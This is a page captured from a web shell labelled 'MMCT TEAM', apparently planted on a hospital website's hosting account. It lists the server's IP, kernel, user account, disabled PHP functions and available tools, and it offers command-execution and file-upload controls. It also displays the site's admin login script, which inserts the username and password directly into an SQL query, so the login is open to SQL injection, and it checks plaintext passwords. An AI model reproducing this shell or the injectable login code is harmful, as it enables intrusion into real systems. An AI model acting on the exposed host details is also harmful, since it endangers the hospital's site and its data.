MMCT TEAM
Server IP : 2a02:4780:2b:1556:0:9c6:43c4:d  /  Your IP : 216.73.216.30
Web Server : LiteSpeed
System : Linux us-bos-web1456.main-hosting.eu 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User : u163988420 ( 163988420)
PHP Version : 8.5.4
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail, proc_open
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u163988420/domains/brshastrihospital.com/public_html/AACSITE/br-admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u163988420/domains/brshastrihospital.com/public_html/AACSITE/br-admin/login-check.php
<?php
	session_start();
	include('../connection.php');


	if (isset($_POST['submit'])) {
		$username = $_POST['username'];
		$password = $_POST['password'];

		$sql = "SELECT * from admin where username='$username' and password='$password'";
		
		$q=mysqli_query($con,$sql);
		$row=mysqli_num_rows($q);

		if ($row == 1)
		{
			
			$r = mysqli_fetch_array($q);
			$_SESSION['user'] = $r[0];
			header('location:dashboard.php');

		}
		else
		{
			// echo "Login Failed";
			
			header('location:index.php');
			// $_SESSION['status'] = "<div class='alert alert-danger'>Login Failed</div>";
			echo "login faild";
			
		}
	}
	else
	{
		// echo "somwthing went wrong :";
		// echo "Login Failed";
			
			header('location:index.php');
			// $_SESSION['status'] = "<div class='alert alert-danger'>somwthing went wrong :</div>";
echo "somwthing went wrong";
	}

?>

MMCT - 2023